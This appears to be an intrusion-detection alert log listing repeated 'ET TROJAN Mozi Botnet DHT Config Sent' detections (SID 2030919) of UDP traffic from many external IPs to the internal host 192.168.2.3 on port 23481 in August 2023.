Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 1.10.212.34 - Destination IP: 192.168.2.3

Timestamp:	1.10.212.34192.168.2.354732234812030919 08/23/23-09:16:16.554561
SID:	2030919
Source Port:	54732
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 95.24.8.38 - Destination IP: 192.168.2.3

Timestamp:	95.24.8.38192.168.2.364918234812030919 08/23/23-09:17:28.492159
SID:	2030919
Source Port:	64918
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 45.139.215.108 - Destination IP: 192.168.2.3

Timestamp:	45.139.215.108192.168.2.324237234812030919 08/23/23-09:17:48.803927
SID:	2030919
Source Port:	24237
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.75.118 - Destination IP: 192.168.2.3

Timestamp:	178.72.75.118192.168.2.333814234812030919 08/23/23-09:16:58.241235
SID:	2030919
Source Port:	33814
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 1.10.212.34 - Destination IP: 192.168.2.3

Timestamp:	1.10.212.34192.168.2.337092234812030919 08/23/23-09:18:30.310043
SID:	2030919
Source Port:	37092
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.70.253 - Destination IP: 192.168.2.3

Timestamp:	178.72.70.253192.168.2.34187234812030919 08/23/23-09:16:14.895602
SID:	2030919
Source Port:	4187
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 222.127.147.207 - Destination IP: 192.168.2.3

Timestamp:	222.127.147.207192.168.2.330301234812030919 08/23/23-09:16:44.842248
SID:	2030919
Source Port:	30301
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.68.88 - Destination IP: 192.168.2.3

Timestamp:	178.72.68.88192.168.2.39637234812030919 08/23/23-09:16:37.465175
SID:	2030919
Source Port:	9637
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.75.218 - Destination IP: 192.168.2.3

Timestamp:	178.72.75.218192.168.2.314577234812030919 08/23/23-09:18:32.842057
SID:	2030919
Source Port:	14577
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.76.65 - Destination IP: 192.168.2.3

Timestamp:	178.72.76.65192.168.2.321043234812030919 08/23/23-09:15:57.833207
SID:	2030919
Source Port:	21043
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.141.42.73 - Destination IP: 192.168.2.3

Timestamp:	178.141.42.73192.168.2.39963234812030919 08/23/23-09:17:54.923120
SID:	2030919
Source Port:	9963
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.81.87 - Destination IP: 192.168.2.3

Timestamp:	178.72.81.87192.168.2.32581234812030919 08/23/23-09:18:34.466533
SID:	2030919
Source Port:	2581
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.71.146 - Destination IP: 192.168.2.3

Timestamp:	178.72.71.146192.168.2.37616234812030919 08/23/23-09:18:25.706517
SID:	2030919
Source Port:	7616
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 170.51.110.12 - Destination IP: 192.168.2.3

Timestamp:	170.51.110.12192.168.2.332283234812030919 08/23/23-09:17:07.949998
SID:	2030919
Source Port:	32283
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 61.1.224.68 - Destination IP: 192.168.2.3

Timestamp:	61.1.224.68192.168.2.311211234812030919 08/23/23-09:15:59.485505
SID:	2030919
Source Port:	11211
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 170.51.110.63 - Destination IP: 192.168.2.3

Timestamp:	170.51.110.63192.168.2.319870234812030919 08/23/23-09:18:34.203729
SID:	2030919
Source Port:	19870
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 170.51.110.13 - Destination IP: 192.168.2.3

Timestamp:	170.51.110.13192.168.2.334045234812030919 08/23/23-09:18:34.159470
SID:	2030919
Source Port:	34045
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 1.10.212.37 - Destination IP: 192.168.2.3

Timestamp:	1.10.212.37192.168.2.359772234812030919 08/23/23-09:18:30.311064
SID:	2030919
Source Port:	59772
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.76.252 - Destination IP: 192.168.2.3

Timestamp:	178.72.76.252192.168.2.326022234812030919 08/23/23-09:17:05.996947
SID:	2030919
Source Port:	26022
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.70.15 - Destination IP: 192.168.2.3

Timestamp:	178.72.70.15192.168.2.329108234812030919 08/23/23-09:17:39.804073
SID:	2030919
Source Port:	29108
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.68.111 - Destination IP: 192.168.2.3

Timestamp:	178.72.68.111192.168.2.31441234812030919 08/23/23-09:18:33.928782
SID:	2030919
Source Port:	1441
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.70.142 - Destination IP: 192.168.2.3

Timestamp:	178.72.70.142192.168.2.323558234812030919 08/23/23-09:18:34.466291
SID:	2030919
Source Port:	23558
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 95.24.8.217 - Destination IP: 192.168.2.3

Timestamp:	95.24.8.217192.168.2.320014234812030919 08/23/23-09:16:53.551585
SID:	2030919
Source Port:	20014
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.141.40.140 - Destination IP: 192.168.2.3

Timestamp:	178.141.40.140192.168.2.35060234812030919 08/23/23-09:15:04.989259
SID:	2030919
Source Port:	5060
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 95.24.5.169 - Destination IP: 192.168.2.3

Timestamp:	95.24.5.169192.168.2.320145234812030919 08/23/23-09:17:22.726254
SID:	2030919
Source Port:	20145
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 45.139.215.95 - Destination IP: 192.168.2.3

Timestamp:	45.139.215.95192.168.2.333489234812030919 08/23/23-09:18:34.621248
SID:	2030919
Source Port:	33489
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.141.128.86 - Destination IP: 192.168.2.3

Timestamp:	178.141.128.86192.168.2.330301234812030919 08/23/23-09:18:31.875248
SID:	2030919
Source Port:	30301
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.75.36 - Destination IP: 192.168.2.3

Timestamp:	178.72.75.36192.168.2.336103234812030919 08/23/23-09:18:34.466105
SID:	2030919
Source Port:	36103
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.81.46 - Destination IP: 192.168.2.3

Timestamp:	178.72.81.46192.168.2.316977234812030919 08/23/23-09:17:52.265319
SID:	2030919
Source Port:	16977
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 1.10.212.37 - Destination IP: 192.168.2.3

Timestamp:	1.10.212.37192.168.2.357828234812030919 08/23/23-09:18:35.032605
SID:	2030919
Source Port:	57828
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.77.26 - Destination IP: 192.168.2.3

Timestamp:	178.72.77.26192.168.2.316939234812030919 08/23/23-09:18:03.516295
SID:	2030919
Source Port:	16939
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.141.79.117 - Destination IP: 192.168.2.3

Timestamp:	178.141.79.117192.168.2.31434234812030919 08/23/23-09:18:32.555741
SID:	2030919
Source Port:	1434
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.78.47 - Destination IP: 192.168.2.3

Timestamp:	178.72.78.47192.168.2.316475234812030919 08/23/23-09:18:09.979865
SID:	2030919
Source Port:	16475
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 198.16.58.241 - Destination IP: 192.168.2.3

Timestamp:	198.16.58.241192.168.2.321668234812030919 08/23/23-09:18:27.961134
SID:	2030919
Source Port:	21668
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 3.250.120.13 - Destination IP: 192.168.2.3

Timestamp:	3.250.120.13192.168.2.38083234812030919 08/23/23-09:18:30.360804
SID:	2030919
Source Port:	8083
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 1.10.212.36 - Destination IP: 192.168.2.3

Timestamp:	1.10.212.36192.168.2.348245234812030919 08/23/23-09:18:35.533928
SID:	2030919
Source Port:	48245
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.69.7 - Destination IP: 192.168.2.3

Timestamp:	178.72.69.7192.168.2.319707234812030919 08/23/23-09:18:34.468521
SID:	2030919
Source Port:	19707
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.76.222 - Destination IP: 192.168.2.3

Timestamp:	178.72.76.222192.168.2.322834234812030919 08/23/23-09:16:02.365056
SID:	2030919
Source Port:	22834
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.81.88 - Destination IP: 192.168.2.3

Timestamp:	178.72.81.88192.168.2.37320234812030919 08/23/23-09:17:08.107686
SID:	2030919
Source Port:	7320
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 125.224.5.29 - Destination IP: 192.168.2.3

Timestamp:	125.224.5.29192.168.2.318503234812030919 08/23/23-09:18:20.346103
SID:	2030919
Source Port:	18503
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.141.78.54 - Destination IP: 192.168.2.3

Timestamp:	178.141.78.54192.168.2.33967234812030919 08/23/23-09:18:17.844664
SID:	2030919
Source Port:	3967
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.141.148.150 - Destination IP: 192.168.2.3

Timestamp:	178.141.148.150192.168.2.311211234812030919 08/23/23-09:18:32.321325
SID:	2030919
Source Port:	11211
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.78.109 - Destination IP: 192.168.2.3

Timestamp:	178.72.78.109192.168.2.313467234812030919 08/23/23-09:15:38.600401
SID:	2030919
Source Port:	13467
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.70.190 - Destination IP: 192.168.2.3

Timestamp:	178.72.70.190192.168.2.38620234812030919 08/23/23-09:16:31.601010
SID:	2030919
Source Port:	8620
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 201.221.109.208 - Destination IP: 192.168.2.3

Timestamp:	201.221.109.208192.168.2.362566234812030919 08/23/23-09:17:54.091926
SID:	2030919
Source Port:	62566
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.77.176 - Destination IP: 192.168.2.3

Timestamp:	178.72.77.176192.168.2.312438234812030919 08/23/23-09:17:54.870552
SID:	2030919
Source Port:	12438
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.141.5.235 - Destination IP: 192.168.2.3

Timestamp:	178.141.5.235192.168.2.38082234812030919 08/23/23-09:17:25.720285
SID:	2030919
Source Port:	8082
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 200.69.62.147 - Destination IP: 192.168.2.3

Timestamp:	200.69.62.147192.168.2.38083234812030919 08/23/23-09:18:34.880944
SID:	2030919
Source Port:	8083
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 213.230.71.159 - Destination IP: 192.168.2.3

Timestamp:	213.230.71.159192.168.2.319458234812030919 08/23/23-09:18:01.656470
SID:	2030919
Source Port:	19458
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 148.66.134.158 - Destination IP: 192.168.2.3

Timestamp:	148.66.134.158192.168.2.317192234812030919 08/23/23-09:18:34.879259
SID:	2030919
Source Port:	17192
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.76.222 - Destination IP: 192.168.2.3

Timestamp:	178.72.76.222192.168.2.319710234812030919 08/23/23-09:15:45.295704
SID:	2030919
Source Port:	19710
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.76.211 - Destination IP: 192.168.2.3

Timestamp:	178.72.76.211192.168.2.322528234812030919 08/23/23-09:18:14.490245
SID:	2030919
Source Port:	22528
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.77.123 - Destination IP: 192.168.2.3

Timestamp:	178.72.77.123192.168.2.37765234812030919 08/23/23-09:17:45.845939
SID:	2030919
Source Port:	7765
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 1.10.212.34 - Destination IP: 192.168.2.3

Timestamp:	1.10.212.34192.168.2.353693234812030919 08/23/23-09:18:34.553393
SID:	2030919
Source Port:	53693
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.77.199 - Destination IP: 192.168.2.3

Timestamp:	178.72.77.199192.168.2.318750234812030919 08/23/23-09:15:33.125873
SID:	2030919
Source Port:	18750
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 1.10.212.35 - Destination IP: 192.168.2.3

Timestamp:	1.10.212.35192.168.2.316526234812030919 08/23/23-09:18:33.135152
SID:	2030919
Source Port:	16526
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.78.97 - Destination IP: 192.168.2.3

Timestamp:	178.72.78.97192.168.2.38363234812030919 08/23/23-09:18:34.112519
SID:	2030919
Source Port:	8363
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 45.139.215.134 - Destination IP: 192.168.2.3

Timestamp:	45.139.215.134192.168.2.326916234812030919 08/23/23-09:15:05.559704
SID:	2030919
Source Port:	26916
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.71.3 - Destination IP: 192.168.2.3

Timestamp:	178.72.71.3192.168.2.31024234812030919 08/23/23-09:17:37.817810
SID:	2030919
Source Port:	1024
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.69.143 - Destination IP: 192.168.2.3

Timestamp:	178.72.69.143192.168.2.319744234812030919 08/23/23-09:18:25.622514
SID:	2030919
Source Port:	19744
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 45.139.215.226 - Destination IP: 192.168.2.3

Timestamp:	45.139.215.226192.168.2.331888234812030919 08/23/23-09:18:23.935603
SID:	2030919
Source Port:	31888
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 45.139.215.134 - Destination IP: 192.168.2.3

Timestamp:	45.139.215.134192.168.2.342576234812030919 08/23/23-09:16:57.905550
SID:	2030919
Source Port:	42576
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.75.223 - Destination IP: 192.168.2.3

Timestamp:	178.72.75.223192.168.2.38332234812030919 08/23/23-09:18:27.881126
SID:	2030919
Source Port:	8332
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.75.60 - Destination IP: 192.168.2.3

Timestamp:	178.72.75.60192.168.2.319822234812030919 08/23/23-09:18:24.893052
SID:	2030919
Source Port:	19822
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 110.49.63.20 - Destination IP: 192.168.2.3

Timestamp:	110.49.63.20192.168.2.35353234812030919 08/23/23-09:18:34.588479
SID:	2030919
Source Port:	5353
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 1.10.212.34 - Destination IP: 192.168.2.3

Timestamp:	1.10.212.34192.168.2.356162234812030919 08/23/23-09:18:35.983368
SID:	2030919
Source Port:	56162
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.81.214 - Destination IP: 192.168.2.3

Timestamp:	178.72.81.214192.168.2.321643234812030919 08/23/23-09:18:34.372447
SID:	2030919
Source Port:	21643
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.81.60 - Destination IP: 192.168.2.3

Timestamp:	178.72.81.60192.168.2.322541234812030919 08/23/23-09:18:26.790081
SID:	2030919
Source Port:	22541
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.77.69 - Destination IP: 192.168.2.3

Timestamp:	178.72.77.69192.168.2.33496234812030919 08/23/23-09:18:27.894376
SID:	2030919
Source Port:	3496
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 1.10.212.38 - Destination IP: 192.168.2.3

Timestamp:	1.10.212.38192.168.2.37885234812030919 08/23/23-09:18:32.908357
SID:	2030919
Source Port:	7885
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.69.230 - Destination IP: 192.168.2.3

Timestamp:	178.72.69.230192.168.2.39960234812030919 08/23/23-09:16:35.010483
SID:	2030919
Source Port:	9960
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.77.166 - Destination IP: 192.168.2.3

Timestamp:	178.72.77.166192.168.2.311546234812030919 08/23/23-09:17:51.444476
SID:	2030919
Source Port:	11546
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.77.175 - Destination IP: 192.168.2.3

Timestamp:	178.72.77.175192.168.2.323408234812030919 08/23/23-09:17:14.183699
SID:	2030919
Source Port:	23408
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 122.155.0.70 - Destination IP: 192.168.2.3

Timestamp:	122.155.0.70192.168.2.36881234812030919 08/23/23-09:18:39.539470
SID:	2030919
Source Port:	6881
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.77.111 - Destination IP: 192.168.2.3

Timestamp:	178.72.77.111192.168.2.327728234812030919 08/23/23-09:17:59.452748
SID:	2030919
Source Port:	27728
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.71.227 - Destination IP: 192.168.2.3

Timestamp:	178.72.71.227192.168.2.317651234812030919 08/23/23-09:16:00.948175
SID:	2030919
Source Port:	17651
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 24.152.36.28 - Destination IP: 192.168.2.3

Timestamp:	24.152.36.28192.168.2.38000234812030919 08/23/23-09:17:48.715356
SID:	2030919
Source Port:	8000
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.71.58 - Destination IP: 192.168.2.3

Timestamp:	178.72.71.58192.168.2.319605234812030919 08/23/23-09:16:38.449444
SID:	2030919
Source Port:	19605
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 201.221.109.94 - Destination IP: 192.168.2.3

Timestamp:	201.221.109.94192.168.2.314699234812030919 08/23/23-09:17:49.288409
SID:	2030919
Source Port:	14699
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 95.24.1.160 - Destination IP: 192.168.2.3

Timestamp:	95.24.1.160192.168.2.327527234812030919 08/23/23-09:16:43.192862
SID:	2030919
Source Port:	27527
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 1.10.212.38 - Destination IP: 192.168.2.3

Timestamp:	1.10.212.38192.168.2.35569234812030919 08/23/23-09:17:53.323268
SID:	2030919
Source Port:	5569
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 95.24.11.123 - Destination IP: 192.168.2.3

Timestamp:	95.24.11.123192.168.2.361505234812030919 08/23/23-09:16:11.692427
SID:	2030919
Source Port:	61505
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 200.81.166.158 - Destination IP: 192.168.2.3

Timestamp:	200.81.166.158192.168.2.342209234812030919 08/23/23-09:16:56.660817
SID:	2030919
Source Port:	42209
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.78.141 - Destination IP: 192.168.2.3

Timestamp:	178.72.78.141192.168.2.324978234812030919 08/23/23-09:16:51.569265
SID:	2030919
Source Port:	24978
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.70.120 - Destination IP: 192.168.2.3

Timestamp:	178.72.70.120192.168.2.332028234812030919 08/23/23-09:17:52.743451
SID:	2030919
Source Port:	32028
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 201.221.109.6 - Destination IP: 192.168.2.3

Timestamp:	201.221.109.6192.168.2.314393234812030919 08/23/23-09:18:06.709730
SID:	2030919
Source Port:	14393
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 61.3.111.234 - Destination IP: 192.168.2.3

Timestamp:	61.3.111.234192.168.2.38000234812030919 08/23/23-09:17:16.671934
SID:	2030919
Source Port:	8000
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.141.158.2 - Destination IP: 192.168.2.3

Timestamp:	178.141.158.2192.168.2.38083234812030919 08/23/23-09:18:25.898328
SID:	2030919
Source Port:	8083
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 1.10.212.36 - Destination IP: 192.168.2.3

Timestamp:	1.10.212.36192.168.2.330694234812030919 08/23/23-09:16:16.793885
SID:	2030919
Source Port:	30694
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.78.142 - Destination IP: 192.168.2.3

Timestamp:	178.72.78.142192.168.2.317544234812030919 08/23/23-09:18:20.413782
SID:	2030919
Source Port:	17544
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.77.153 - Destination IP: 192.168.2.3

Timestamp:	178.72.77.153192.168.2.317543234812030919 08/23/23-09:18:27.930192
SID:	2030919
Source Port:	17543
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.68.189 - Destination IP: 192.168.2.3

Timestamp:	178.72.68.189192.168.2.323973234812030919 08/23/23-09:18:01.620613
SID:	2030919
Source Port:	23973
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.69.42 - Destination IP: 192.168.2.3

Timestamp:	178.72.69.42192.168.2.311459234812030919 08/23/23-09:18:20.176253
SID:	2030919
Source Port:	11459
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.70.138 - Destination IP: 192.168.2.3

Timestamp:	178.72.70.138192.168.2.325992234812030919 08/23/23-09:18:25.472389
SID:	2030919
Source Port:	25992
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.141.186.217 - Destination IP: 192.168.2.3

Timestamp:	178.141.186.217192.168.2.34000234812030919 08/23/23-09:18:31.196407
SID:	2030919
Source Port:	4000
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.78.30 - Destination IP: 192.168.2.3

Timestamp:	178.72.78.30192.168.2.34449234812030919 08/23/23-09:18:27.881988
SID:	2030919
Source Port:	4449
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.68.18 - Destination IP: 192.168.2.3

Timestamp:	178.72.68.18192.168.2.319032234812030919 08/23/23-09:15:56.662970
SID:	2030919
Source Port:	19032
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.77.174 - Destination IP: 192.168.2.3

Timestamp:	178.72.77.174192.168.2.319763234812030919 08/23/23-09:17:32.820315
SID:	2030919
Source Port:	19763
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 201.221.109.174 - Destination IP: 192.168.2.3

Timestamp:	201.221.109.174192.168.2.362217234812030919 08/23/23-09:18:20.381648
SID:	2030919
Source Port:	62217
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 45.119.84.144 - Destination IP: 192.168.2.3

Timestamp:	45.119.84.144192.168.2.322755234812030919 08/23/23-09:18:27.347639
SID:	2030919
Source Port:	22755
Destination Port:	23481
Protocol:	UDP
